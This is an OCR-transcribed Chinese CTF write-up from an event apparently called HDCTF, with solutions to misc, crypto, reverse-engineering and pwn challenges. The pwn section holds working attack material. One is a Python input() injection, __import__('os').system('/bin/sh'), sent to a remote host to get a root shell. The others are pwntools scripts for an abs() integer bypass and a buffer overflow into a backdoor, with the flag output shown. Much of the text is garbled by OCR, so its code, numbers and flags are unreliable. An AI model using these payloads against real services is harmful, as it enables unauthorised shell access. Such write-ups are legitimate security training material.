td style="text-align:left;">
<input type="button” name="btnlogin® value="% &° 1d="t
dnbzp &nbsp . &nbsp  &nbsp,
<input type="button” name="binregister” walue=": M" ic
ftd>
Lt

tyle="height : 20px”

tr

£ — R R E .

8.EEEEE(1893F) , BOMRIIKERSHH.

SR JE LR R B SRR I html ST A

https://www.qgxiuzi.cn/bianma/wenbenjiami.php?s=huaduo

#f s

&0,
Bl
B2,
B3,
&,
&5,
8.
BT,
&8,
&4,
an.
at.
92,
93,
ad.
95,
LN
a7,
8.
a4,

100,

1ol

102,

103,

104,

108,

10d.

107.

108,

108,

1o,

111

11z,

113,

114,

115,

116,

1.

118,

114,

120,

121.

122,

123,

LA

T
<div
{img src="/images/cloze. gif" style="ma:y

</ daw>

S L e

e="text-align:right ;">

dpx 0 0;cursor:poi

<table style="font-size:ldpx margin:20px =ulo. Gpx d8px 16px
{thody>
Ctr style="height:40px">
<tdr
AR&E:
<frd>
<td»
<input id="username” name="us wpe="text” onkeyp:
value="EHIEHN =" onfocu t:1f (this. value==
naxlength="50" clasze="input—t=xt
<ftd>
ey
<tr F e="height:40pz">
<edy
FEhnbsp  hnbsp &nbsp; B :
Gtd>
<rdr
{input id="passwd’ name="passwd® type="paszsword”’ onkeyp:
naxlength="16" walue="" class="input—text”>
<frd>
ey
<tr style="height:d0px">
<edr
BIEB:
<ed

<td style="text-align:left.”>
{input id="verify” name="verify  onkeypress="procenter(e
{img id="kaptcha® srec="
<span style="font-zize:12px:coloxr:#8TET8T  cursor:posd
Srdy
ftrr
<tr sty
<td>
<edr
<td style="text-align:left:">

"

style="cursor:pointer; wert

e="height:40px">

<{input type="button’ name="btnlogin® walue="% =" id="t
&nbzp, dnbsp  dnbsp &nbsp
{input type="button” name="btnregister” =«
<rd>
it

"height:20px">

Bl




CROQCTEQOTVQBRQRO KB R F TSRO RS HEROSETT I AN EER RN R Rk ERRSMLQR iR REE

EER e o

mlEE

HDCTF {4761f7c667eeadlalbl3bddc0ef23£59}

H R MBS A

XERRGEAAME, Bk K, BT wpkatfE, BT AT CAHFFmpegi bR E R Wifiar 4, Mwp—F—#, HT —
THEAN, EE—ANHBAR B, HashthBE—wikiEE. 54K, FimpegK FE—.

{ERFFmpegRIipRIFESAY

i\ 4FFTAE Ew STEE Bl 33kR

i) |

BitaDiZ LUERE NP ESEM ffmpeg 15 7
E3 48 BT A -of IR select=gt(scene\,8.00) I TIHEEN, B2 , ©HNEATHEHER.

fimpeg ESW
148 A MEENTE BE 195126 1487823:3258 1656 57 E#E12:25 i@

ERE1968 ,;ﬁ AL
sy 23.3F # 10 # 58 #87 -‘—n" 663 =1 o5 = 11
2=58
o EE

EAmpdecimateiTiERE , EERIZE M SA—MEE A A AIMLPREINES,

66 o EAT—MERSER  BErdiEsRAAHEmES,
ffmpeg -i input.mp4 -wf mpdecimate -loglevel debug -f null -
Vv o ARERNE: T ES AT

ffmpeg -i input.mp4 -vf mpdecimate,setpts=N/FRAME_RATE/TE out.mp4

FrifsetptsiT iEEmnsu A TSR 54 B A A8 FrRave_RaTe FPS, &S HEImpegRETNSTETFR .

A R A (BB A (IR h.A

HEHE

s A
i
BEiET

0 &)

5

neat



= - T 1
B EEG: C\Windows\system32\cmd.exe |"‘:" RE X

o
1l
]

5888kB time=PA5:55:52.71 bitrate= 2.3kbits/s|2
5888kB time=PA5:56:16.93 bitrate= 2.3kbitsss
5888kB time=PA5:56:39.95 bitrate= 2.3kbitsss
5888kB time=PA5:57:83.95 bitrate= 2.3kbitsss
5888kB time=PA5:57:27.95 bitrate= 2.2kbitsrss
5888kB ti 5:57:53.21 bitrate= 2.2kbitsrss
5888kB time=PA5:58:18.74 bitrate= 2.2kbitsrss
5888kB time=PA5:58:4A.53 bitrate= 2.2kbitsrss
5888kB time=PA5:59:83.95 bitrate= 2.2kbitsrss
5888kB time=A5:59:27.95 bitrate= 2.2kbitsrss
5888kB time=PA5:59:58.95 bitrate= 2.2kbitsrss
5888kB time=P6:88:14.54 bhitrate= 2.2kbitsrss
18@38kB time=86:80:24.57 hitrate= 3.8khits

7}
I
==
I .
OO EIEEEE @
Il
.
L[}

T T o o R R N R
BN N NN NNNNNDBWNBN®MN

He D @M@ OMD M D MDD
]

2]

= e e e e a e e a e aa
ARG EEEE®E
[T T T I I O

frame=
frame=
sz speed= 5Bx
wideo:57kB audio:6@A?kB subtitle:@kB other streams:BkB global headers:AkB muxing
overhead: 65.276585x
[1ibxZ264 @B BBEBBBEPEBRSH14A0]1 fFrame 1:1 Aug QP19 .55
[1ibxZ64 @ BBEBARRRRASA1408]1 frame P:4 Aug QP:=z14.75
[1ibxZ64 @ BBABABRPAASP1408]1 frame B:4 Aug QP:24.1A4
[1ibxZ64 @ HA0HABHABASH1480] consecutive B—frames: 11.1x

@

e

L= -R - =R - - - - - - - -

e e
LRI - - -

(I I T R

=
n
[
[
]
=

e

[1libhx264 A0PEEREARRSE1488] mb 1 I16..4: 28._.8x 52. 7V 19_4»

[1libx264 A0PPARAARASA148A] mb P I16..4: B.8x BA.8x B.8x Pl6..4: 8.7+ 8.8
= B.8x B8.8x B6.8x ekip:=99.2x»

[1ibx264 B OABDABPABASH1480]1 mh B I16..4: @.8x B.8+ B.7» Bls..8: B.1x B.1
» B.8x direct: B.7% skip:98.4x LB:14.8»x Li:-86_8x BI:- 8_4x

[libxZ64 B DOODOOOBEASE14608]1 BxE transform intra:51.3x inter:32.7x

[1libx264 B AARAAREABASH1480] coded y.uwwDC,wuAC intra: 68.5% 62.6% 36.5% inter: B
2% B.6x B.Bx

[1libx264 B AARPABEABASH14680]1 il6 v h.dc.p: 89x Bx 18x B

[1libx264 B AARAABEABASA1488]1 i8 v.h.dc.ddl.ddr,vr hd. vl hu: 24 172 16x 6x 62

Ve - A A & ¥

[1libx264 B AARAABAABASA1480]1 i4 v h.dc.ddl.ddr, vr hd. vl hu:z 252 24x 12x 6x =

P T 6x M

[1libx264 B AARPABEABASA1480] ifc dc.h.v.p: 55x 22x 18x G
.[1ihx264 P AAARPARAARS5A1488]1 Weighted P-Frames: Y:@.8x UU:Q_8x

[1libx264 B AABPABRABRSA14600] vref P LA: 88 .8x 12_8x

[1libx264 B AAREAREABASB1488]1 kbr=:1336.0808

[aac P DBPBPBRBERASA3Z2B0] Qavg: 65536 .8068

C:xUzerzsAdministratorsDesktop ctf toolsmiscffmpeg—HN-99395—ga3abhbh6208—winb4—q|
pl\bln>1.,

C:sxlUzerzsAdministratorsDesktop ctf toolsmiscffmpeg—HN-99395—ga3abhh6208—winb4—q|
plsbin>dir
i2E ¢ HFER Win 7
EBDZ-28E4

C:lsers™idministrator Desktop ctf toolsmiscffmpeg—N-29395-galabhS62B80-winb4—
gplibin H1H

2620.-10.-20 : <DIR> .
2620.-10.-20 : <DIR> ..
2620./09.27 : 79,639,552 ffmpeg.exe
2620.,09.27 : 79,502,848 ffplay.exe
2620./09.27 : 79.527,936 ffprohe.exe
2620.-10.-20 85 10,270,272 out.mp4
+ 248,940,608 F
"B 25.769.1087.456 —[Eﬁ—.—-r'

m

C'\Uﬁerﬂ\Hdmln1étratur\Deﬁktup\ctf toolzmiscf fmpeg—N-92395%—galabb562@88—winbd—q|
pl-bin>ffmpeg.exe —i D:vhd¥y ﬁ avi —vf npdecimate.setpts=N-FRAME_RATE-TE ou
t . mpd i

MERERM )G, #EEF.




Bl EEG: C\Windows\system32\cmd.exe |£‘E|—g_hj

. 2 khrss (default>
Metadata:
handler_name : SoundHandler
Stream mapping:
Stream HB:0 —> #HA:8 (h264 (native? —» png C(nativel)
Press [gl to stop. [7]1 for help
Output #HB, image2, to *xd.png’:
Metadata:
major_brand H
minor_version H
compatible_bhrands: isomisoZavcimp4l
date : 2020-09-27T14:87:27+68 : 80
encoder : Lavf58.57.1688
Stream HBA:@<(und>: Uideo: png,. rgh24, 720x576 [SAR 16:15 DAR 4:31, g=2-31, 20
B kh-ss, 68 fps,. 608 thn, 68 the (default>
Metadata:
handler_name : UideoHandler
encoder : Lavch8.1688.188 png
frame= 21 fps=A.0 g=—B.0 Lsize=N/A time=AA:08:8A.35% hitrate=N-A dup=12 drop=A
speed=1.52x
video:11774kB audic:8kB subtitle:BkB other streams:BkEB global headers:BkE mnuxing
overhead: unknown

C:sUzerzsAdministrator~Desktop ctf toolsmisc ffmpeg—HN-99395—ga3abhh6208—winb4—q|
pl-bin>ffmpeg.exe —i out.mpd —» 6B —f image? »d.png

‘9 A v ctftools » misc » fimpeg-N-99395-ga3abb56200-win64-gpl » bin »
o
gig - BIEET HE ~ R A SR
H =HER |
= |
=R I
© =n f

019BTEETEL =

a

awvs
basebd fimpeg.exe fiplay.exe
builtin
ctf tools
crypto
misc
FreefileCamouflage fiorobe.exe outmpd
dtmfZnum
DTMFChecker
fimpeg-N-99395-gs
bin

| doc

BJE G R4, (HELpsHlEASLMTXT, PERRORATRAE 4.



isc » ffmpeg-N-99395-ga3abb56200- wm6-4 -gpl » bin » pin - | 4

= vt ald oy i

3.png

F VBB -

SrUURT B, EE R B MR A E (R AE R REIEIRE AR B B HR). A RENT I RDTMF4 14 . morsel‘%“%m
HEEMET . DTMEARGERE, MTFM. FRERESSHREER, — ML ARG HE AN iZZEmorse, =
dtmf A B AR RIKKflag. ERKHZREMflagT .

HDEZTF{'Fl rst_wa\fe

g e ot it b

o oo i S = S s e R T e b :EE::-—_'—::""—'—:: __.:_'_—_._—__..':_‘..:'.:;:.'"




EEETEESSCEEE

el T - 2

@ -

SECONDMORS3KOOL3

WA Z JE X EDTMFRIRB AT LB R T . HTREMKER JUALRE T 1)

35.0 35.5 36.0 36.5 37.0

A, G T
u:f;mw‘wm" o T T

ot JM'“‘ « awr ity

" W --WJ '\ ' "'

Nl '

L l
FH F““nu " W%iw‘wﬁm1 J

LLRIRINR

SSEHFEAS
l]E. ,H‘,E HOCTFZnd
309

TR findl_hldden_H3r3}
o 0000 : 44
=3
hfEE 30T2kbps
=iE
BRI EER
iy

T ==

(e J[ Ba ]| EAw |
FLERT” T
IRFTA K — B, B MR,




metamask{t Fi 7] % .

https://zhuanlan.zhihu.com/p/112285438?from_voters_page=true

H#&foremost/y B K Bl AT 38| —MEZER, #E3E163EH] S04 B 7T DAE 2165 124950 4B 03 041PKk

# 1s
crc.py
# cd output/
# 1s

audit.txt

# cd zip/
# 1s

# 1

M EIR/NBN, BEEBCrcBI W, PURYSEEEBLRER. A @8dfraifl, KRR R BB
Fo

[ © 00000001 zip - Bandizip
- | —
TP B|E R0 BHO) WEV) TR BiH)

B b B

& .3

|| £ ovooooo1.zip &8 . s B #3 HEE BRFLAMRE (CRC)

L]t 16 4 2020/9/23 0:36:34 60ceb2le

2 15 3 2020/9/23 0:37:19 B%eef520

L13 15 3 2020/9/23 0:41:15 ebcab627

4 15 3 2020/9/23 0:41:21 5d8470cl

] 5* 16 4 2020/9/23 0:41:32 Olafed0g

L]6 16 4 2020/9/23 0:41:35 Gdefabed
T 15 3 2020/9/23 0:41:41 1836f63d |

L& 16 4 2020/9/23 0:41:47 TedcfbB3

¥ 16 4 2020/9/23 (k41:52 1d3a42b3

| 10 14 2 2020/9/23 0:42:00 eab7ffc7

[112e 15 3 2020/9/23 (:42:07 1b559a7e

L2 16 4 2020/9/23 0:42:12 Seda5ST50

== B O 12, IO 0, BRI 154 KB

i=k: 30 )

https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt#L350

PARY S BiE i BIP-394 AL i, v EWBIILH.



10 39
4 350
2 427
11 575
3 584
792
1394
1689
0 1727
8 1784
12 1853
6 1998

C:\Users\Administrator\Deskt (':p::r|_|

A

import binascii
import zipfile
import time
def crc32asii(v):
return (binascii.crc32(bytes(str(v), encoding='ascii')) & Oxffffffff)
for x in range(1l, 10000):
f = zipfile.zZipFile("00000001.zip", "r")
for i in range(1, 13):
GetCrc = f.getinfo(str(i))
crc = GetCrc.CRC
a = ("Ox%e8x" % crc)
j = crc32asii(x)
if ("ex%e8x" % j) == a:
print(i, x)
time.sleep(0.1)

EHBNC ARG RZ G, Eflit, XERRIERNRZSIEHR
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Account 1

< Mot connected E
0x8444d...Dbd2
4
$0.00 USD
i .
BUY < xx
3
i Bl
Assets Activity
] Q 0ETH b
i $0.00 USD

M

& rinkeby.etherscan.io/address/0x844d1397c96a799d1896cC6CbI90b58c5dF1Dbd2

@ Etherscan

Rinkeby Testnet Network
@ Address 0x844d1397c06a799d1896cC6CbII0bSBC5IF1DbA2 @

Overview

Balance: 2.999957312 Ether

Transactions

17 Latest 3 from a total of 3 ransactions
Txn Hash Block Age
®  (Oxeb723bb64b0 1237229 29 days 11 hrs ago
@ 723121 29 days 11 hrs ago
@ 7236103 29 days 15 hrs ago

HEERINEEE 5 2lag

All Filters

g
La

More Info

My Name Tag:

From T

0x644d1397c96a799d1..

0x844d1397c96a799d1 .

0x31b98d14007bdeet3

SELF

SELF

Home

Not Available

To T

0x844d1397c96aT9%d1.

(0x844d1397c96aT99d1 ..

0xB844d1397c96a799d1

Blockchain «

Tokens ~

Value

0 Ether

0 Ether

3 Ether

Misc ~ Rinkeb
[Txn Fee]
0.00002132
0.00002

[ Download CSV Export 2. 1



16 HIZI N FF T8

48444 354467b57656c636f6d324554485(576f726c647d

HDCTHWelcom2ETH_World}

T, L5
H B H €A HtFdoge
% mamp3fRE FREHIE, wpB4 T wikidk

https://en.wikipedia.org/wiki/MP3#File_structure

HEEWARL T, REJFRHE.

https://github.com/impakho/delctf-mc_challs/blob/master/writeup/mc_easybgm/mp3.py

B EER: Catindonmvay e 2o o [ - =) o

C:slzersz Administrator>cd Desktop

C:slzersz Administrator~Desktop>python mp3—decode.py -h
Traceback <most recent call lastd:
File "mp3-decode.py”. line 192, in <module’
decodetsys . argulll>
File "mp3-decode.py”. line 12%. in decode
rfp = opentipath, 'rh'>
FileMotFoundError: [Errne 21 Hoe such file or directory: '-h'

C:sxUzersz-Admin rator~Desktop>python mp3-decode._py C: Users“Administrator-Deskt
oprattackment™F
HDCTF{zhe_nerver

C:slserssAdministrator~Desktop>
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Bk 45 Solves

iR
50
—RE | RRNHE

KGFWI{fubswr_Iv_vr_hdvb}

Flag Submit

g- CTFCrackTools-v3.2 AFR R s krEE
Decrypt Decode Encode FPlugins

Crypte HexConvert FluginsMenn

LHGET {gvectxs_mw_ws_iewc)
MIHYE {hwduyt re xt  jf=d}
NITZIL {ixevzu_oy_vu_kgye}
CETAM {jvfwav_pz_zv_lhzf}
PLEBN {kzgxbw_qa_aw _miag}
GMLECO {lahyex_rb_bx_njbh}
FNMDP {mbizdy_sc_cy_okeci}
SONEQ {ncjaez_td_dz_pld;j}
TPOFR {odkbfa ue_ea qmek}
UGPGS {pelcgb_vf_fh_rnfll}
VEQHT {qfmdhec_wg_gc_sogm}
WSEIU{rgneid_zh_hd_tphn}
XTSIV {shofije_vi_ie uqio}
YUTEW {tipgkf_zji_jf_wvrip}
IVILE {ujghlg_ak kg wskql
AWVNY {wkrimh bl _1h xtlr}
BEWNZ {wlsini_cm_mi_yums}
CYEOA {xmtkoq_dn_nj_zwnt}
DIYPE {yrulpk_eo_ok_awou}
EAZQC {zovmql_fp_pl_bxpw}
FBARD {apwnrm_ga_am_cyqw}
GCESE {baxosn_hr_rn_dzrxz}
HDCTF {crypto_is_so_easy}
IEDUG {dszqup_jt_tp_fbtz}
JFEVH{etarvq ku_uq gcual
KGEWI {fubswr_lv_wr_hdvb}

EERER LR
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ElEHH
100

Rt ABHEIHRIE

HeSDhFsolCTelFyT{neunFcn

Flag Submit

XRESER T HEAR, LR E SRR RkREERBIM. KT HFA. JERBEECHRE
RILTT e R w R = 2 55

http://www.atoolbox.net/Tool.php?Id=777.com

H==Ren= /M [WE]

HDCTF{TheFencelsSoFunny}

B :
F=EL 5
== s
HeSDhFs0lCTelFyT{neunFen
v

ABERT
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A RRIBATHE http:/suo.im/6pgF25

BB 1

100

swxguinlivrmgvivhgrmixiwy}

Flag

Submit

BEF, ctiRpilE LA PR, quiquith AT LA, BT SuRhdetfiisy 7. IRER & — TR,

Puzzle:

swrgu inlivengvivhgratylwe}

Clues: For example G=R QUW=THE

hd ct ‘f{l*u interesting code

NASBAE R CPEISEMRRS

FREEREET °
=X =S

hd ct f{rom einte melting code}

65 hd et flrom elatement law code}

swxgushdctf
U 207
L &07
3 2. 760

hd ct f{rame but ement buscade}

B Awp_ L4 i 2 AR



B fFE(save) HEKB  BABS(Embed) P WFRu)  +

'abcdefghijklmnopgrstuvwxyz{}’
"zyxwvutsrqponmlkjihgfedcba{}’
i "swxgu{nlivermgvivhgrmtxlwv}’
B hde
string:

- e hdct
j range(28):
i == en[j]: hdctf

output+=de[]] hdctf{

print{output) hdctf{m
hdctf{mo
hdctf{mor
hdctf{more
hdctf{morei
hdctf{morein
hdctf{moreint
hdctf{moreinte
hdctf{moreinter
hdctf{moreintere
hdctf{moreintere

hdctf{moreinteresti
hdctf{moreinterestin
hdctf{moreinteresting
hdctf{moreinterestingc
hdctf{moreinterestingco
hdctf{moreinterestingcod
hdctf{moreinterestingcode

hdctf{moreinterestingcode}

TR -

—E&MERERRIMmc. DOVRH2amcl ALk . BiEiEgoogleth & F . f5RMEBIBImcHiwiki. Bimcht B
& ERFRF, Todmelf N iZAR A, me wiki L RFk TR, X et

https://minecraft-zh.gamepedia.com/Minecraft_Dungeons :%E7%AC%A6%E6%96%87




Mraft—zh.gamepedia. com/Minecraft_Dungeons:fFF=

RIEEE |
A FEBEB@SMinecraft DungeonsfiiFHRE | TimEmmEErREESFEERTENTR. FiEEREER !
FWEHEREMnecralt Dungeons PN FES. ST MinecraffPEFS= , BN WES § inERnxa.

Minecarft DungeonsfER—=3L FinER] 7%5‘3"2%?—?& , AEhLERFATERENEE  BSinERITE8RERNTS
F. EERANESESEE. MoangASigErIiiEE,

GISRBE 152 asErE)
BT BI26{TRA-ZETR |, AN 0fER0-98 | BorEBaM ( FlFEaEs) .

N A LTI T
e TmﬂIHTHF

ﬂmE H H
?ﬂ“? JFW

4

J.furl"ﬂn

BE [ms | GERERTS]

1. t httos/iwww.aameinformer.com/2020/04/09/moiana-takes-its-biooest-brand-in-a-bold-new-direction-with-minecraft-

TEENE:
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babyrsa:

HEAE 13 Solves

babyrsa
300

£E  https://www.anquanke.com/post/id/87105

Flag Submit

https://www.anquanke.com/post/id/87105

REELE, AIARESSEXS, ANidss Tpge. X4 T AR, SR, REHN, d, m

pvthan encade py
1948J9599J494856664958199llﬁﬁﬁa?4522868?859?936?12?@26942?6;6?8?296J81
# cat encode.py
#cadlng:utf—s
from binascii import a2b_hex, b2a_hex
import gmpy2
Bflag = "skdokdiekkkdokiokkokdookhkdokokokohonk
262248800182277040650192055430906580479
= 262854094239322828547925595487519915551
65533
p*q
i = (p-1)*(q-1)
gmpy2.invert(e, phi)
6840561865509123185099145967978598991577276046740403001017607512280956560691

pow(c, d, n)

print(m)
#a=(int(str(m),16))
a=191853633260784640753082658319123392799532077630882079100618224148262386737246
462849
#print(a2b_hex(str(a)).decode())
#print(int(str(m), 16))
# n=6893340686118175506936627568514100189468973412789549946536582627545126512892
9
#c = pow(int(b2a_hex(flag), 16), &, n)
# int(b2a_hex(flag), 16)IE flagi H 16t &l , flaghh 16 Gl MeR A EEn, BHENER
*ac

# print(c)
# m‘19484@5@944948566@495819911@@44?4522868?859?9@6?12?@26942?696?8?296981

il




#coding:utf-8

from binascii import a2b_hex, b2a_hex
import gmpy2

#-F]_ag = "Wk 3k ook 3k ok sk ok ok >k sk 3k ok k >k sk 3k ok 3k ok sk sk sk sk sk sk ok sk kk 1Y

p = 262248800182277040650192055439906580479

g = 262854994239322828547925595487519915551

e = 65533

n = p*q

phi = (p-1)*(q-1)

d = gmpy2.invert(e, phi)

C = 68405618655091231850901459679785989915772760467494039910176075122809565696913
m = pow(c, d, n)

print(m)
#a=(int(str(m),16))

a=191853633260784640753082658319123392799532077630882079100618224148262386737246462849

https://tool.lu/hexconvert/
https://www.bejson.com/convert/ox2str/

¥ | E8TR | Bios FEhE WEHEE  NitSH
201 .9-05—26 J:‘-*;m A js AFIEENE, :
2 O sitE @ 10iE O 1684 O 32i# O 36k O s8ittE O e2id | H
194830509349485660495819211004374522868785979( &H2 |
i L2
2 100100001000100010000110101010001000110011110:
8 441042065210636630543156610641563206516030460:
10 1948320509349485660495819911004374522868785979(
16 48444354467b316337623437343538313064306262366¢
.
26 xmvewkngvfdtaamnhjopjcfnikxragexnylkikubbzwfwcebd
i 1448GTMB8SXK2RSQCET3ED1INTORKOS1GCIH3CSKICRY:
36 6hp0q8spflaedaB0sathSejzcay9unh3nnkqzepedjdkt
52 eybdLWbKqgtRFoyGNmIBABKxUVSXgaQsCRZjIWAcaD
58 4hhf29v2krl37hQuRgm9XKjbLF7nEMrExXUgXyPg
zn EFL T T AR IR e & ATLAL o 2B s s e T8
4
Re
sign_up

HEAER TS HTE Elflag

16 HIEI N EF TR

NS RE AR E A LEET10M

48444354467b316337623437343538313064306262366661663639387d

plouc b= o et lus ol TEEE | F=ER ERER

e

Google £

IRt

HDCTF{1c7b4745810d0bb6faf698}
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Address |Length |Type  String
[s] .rdata:00403000 000DOOOE C libggj-13.dIl
[s)] .rdata:0040300E 00000014 C _Jv_RegisterClasses
E rdata:00403026 00000007 C %6sf...
B .rdata:0040302D C HDCTFre w3lcome :)}
's'| .rdata:00403048 0000002C C you want to know what's REVERSE ? (y/n)
[s] .rdata:00403078 00000018 C ingw runtime failure\n
[s] .rdata:00403090 00000031 C VirtualQuery failed for %d bytes at address %p
[s] .rdata:004030C4 00000032 C Unknown pseudo relocation protocol version %d.\n
[5] .rdata:004030F28  00O0DOD2A C Unknown pseudo relocation bit size %6d.\n
E .eh_frame:0040... 00000008 C W01y b\x01\x 1 B0\ x04
[s] .eh_frame:0040... 00000019 C Ax0DE\b
[s] .eh_frame:0040... 00000007 C =
[s] .eh_frame:0040... 00000015 AxDEVb
[5] .eh_frame:0040... 00000005 C C\x0E \x10
[5] .eh_frame:0040... 00000005 C C\x0E \x10
[ o IR TR S nnan AN i~ r
re1

KB SRKI RE, OV R 7 BUE H+baseC4 BB R B EE 3R T ¥ RBERKIKE64NT1F. REMAT TZ. Re
WAES. ZJEHIEA LA B JTwp.
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Pwn
calculator

FLE Hd

HEAE 5 Solves X

calculator
100

EFpython2BSNEESTeBREITESE | S5 2077FE
e AEESE (R ) ReEEREbItREEFIE ?

nc 39.107.127.44 20001

Flag Submit

python2#inputti AT\ 5 Brce

Z:H__import__ (‘os').system('/bin/sh').

Hi#rce

#R J5 F python -c 'import pty;pty.spawn("/bin/bash");'.
k1B —bashfishell



~# nc 39.107.127.44 20001
Welcome to the 20th most wonderful calculator!
+-%/ supported! That's coooooooooooool!

First number: __import__('os').system('/bin/sh')
whoami

root

python -c 'import pty;pty.spawn("/bin/bash");"’
rootd635a91676522: /# [

# 32 J5catBim]

i) ] : 0 VipL) L /0L D
rootg635a91676522:/# find / -name flag

find / -name flag

/home/ctf/flag

rootg635a91676522:/# cat /home/ctf/flag

cat /home/ctf/flag
HDCTF{a950a46f-97b3-4902-ab7a-7call8laedd8}
rootg635a91676522: /# I

HEE T —. « KIpyHEZinputiid T

~# cat a.py
a=input("shuru:")
:~# python a.py

shuru: __import__('os').system('/bin/sh"')
## whoami
root

warmup

absERHR AN EREE . FrUATRE/NT0. FHEabstimmti. MA2M31RTT . B&SE MA LT

| int6s  Fastcall main{_ int64 a1, char ==a2, char ==a3)
{
__inté6hs result; // rax@3
__int6hs vh; /7 rox@3

int wS; #7 [sp+Lh] [bp-Ch]@1
__int64 wa; /7 [sp+8h] [bp-8h]E@1

1
2
3
N
5
1]
7
4 vae = =MK_FP{__FS , L@LL);
9| printf{"As the says going, too much water drowned the miller.%n For example:z', a2, a3);
18] isoc99 scanf{"%d", &uS);
11| if { abs{us) < 8 )
120 4
13
14
15
16
17
18
19

puts{"¥You win''};
system{''cat flag.txt");
3 _—
result = BLL;

uly = =HK_FP{_FS_, 4BLL) ~ v6;

return recsult;




File Edit View 5Search Terminal Help

f pun import *
sh=remote(
payload=pou(”,:1)
sh.recvuntil(
sh.sendline(str(payload))
sh.interactiveff]

: # nc 39.107.127.44 10007
As the says going, too much water drowned the miller.
For example:2147483648
You win
HDCTF{bd3f49e5-ed69-4dbc-8c5e-0702c17168d4}
: i 1s
a.py
; # python a.py
[#] Checking for new versions of pwntools
To disable this functionality, set the contents of /root/.pwntools-cache/update to 'never’.
[#] A newer version of pwntools is available on pypi (3.12.2 --> 4.2.1).
Update with: % pip install -U pwntools
[+] Opening connection to 39.107.127.44 on port 10007: Done
[+] switching to interactive mode
You win
HDCTF{bd3f49e5-ed69-4dbc-8c5e-0702c17168d4}
[#] Got EOF while reading in interactive

backdoor
FrERAEE Fsh, B
Address Length Type  String
‘s’ .rodata:000000... 00000016 C welconiiy to HDCTF 2nd!
IE rodata:000000... 00000013 C what is Bour name
IE .eh_frame_hdr:... 00000006 C w01\ 1Bx03: =
[s] .eh_frame_hdr:... 00000006 C x
i .eh_frame_hdr:.. 00000006 C E:id
4k 5k
.rodata:800008000084807A8 db 1
-Fodata:B800000880804887A1 db a
-rodata:B0000ABAABLAATAZ db 2
-rodata:B0000ABAABLBATAZ db a
.rodata:000000000048087A% aBinSh db '/binfsh',8 ; DATA XREF: .text:00000000BA4BB59BT0
-rodata:000000000804807AC ; char s[]
.rodata:80000800004807AC S db ‘welcome to HDCTF 2ndt*,8 ; DATA XREF: main+auto

.Fodata:Boe00e00004007C2 ; char aWhatIsYourName[]

.rodata:B008086600004867C2 aWhatIsYourHame db ‘*what is your name:',@ ; DATA XREF: main+4ETo
.rodata:f0000008008048087C2 _rodata ends

.rodata:0000008A00LABTC2

nah Luamn hdoe=AAARARAARARAL AARTROD - ——

bash/g17]



.text: 00000000064 00595
StexEzB08008BBOBUBBEDT §

-text:0000000000400697 rbp

-text:0000000000480698 rbp, rsp
-text:000000000040069B edi, offset aBin3h ; “/bin/sh”
-text:0B0006000BLA6B5A0 _system

-text:0000080000BLBBGAS

-text:000000000040056A6 rbp

-text:00000000084886A7
-text:00000000004006A8
-text:000000000040805A8
-text:00000000004006A8

BROUTTI HNE ====sss=——m=mmmmmmmmmmmommmmommoomooeeo

BEEDUFRIrFIAL B
-A00000A0A0A0A00BD db ? ; undefined
-A00000A0A0R0OA0GC db ? ; undefined
-A00000A0A0R0000B db ? ; undefined
-B0000000A0A0A00A buf db 7
-A00000A0A0R0000A9 db ? ; undefined
-A00000A0A0R0000SE db ? ; undefined
-A00000A0A0R0R0GT db ? ; undefined
-ABABABABABABABAG db ? ; undefined
-AABABABABABABAS db ? ; undefined
-AABABABABABABAL db ? ; undefined
-AABABABABABABA3T db ? ; undefined
-AABABABABABABA2Z db ? ; undefined
-AABABABABABA0A1 db ? ; undefined
+AABAOAOAOBOBRAAD s """/ db 8 dup(?)
+A0ABABAOBOBOBABE v db 8 dup(?)
+AOABABABABABABTA
+@00000AANARAAB10 ; end of stack variables

% 55 A 3 Y B AT

from pwn import *
sh=remote(

payload= *
sh.recvuntil(
sh.sendline(payload)
sh.sendline(
sh.interactiveff]]

: # python a.py

[+] Opening connection to 39.107.127.44 on port 10002: Done
[+] switching to interactive mode

1s
backdoor
bin
dev
flag.txt
lib
1ib32
1ib64

cat flag.txt
HDCTF{4dd1d213-2558-4e99-a1f8-1992d5d62ce5}

HibpwnBAZA L, pwniB Al ASHE LR, Mixak 7 pwn@EiK:

https://www.cnblogs.com/z2yh/p/13771942.html
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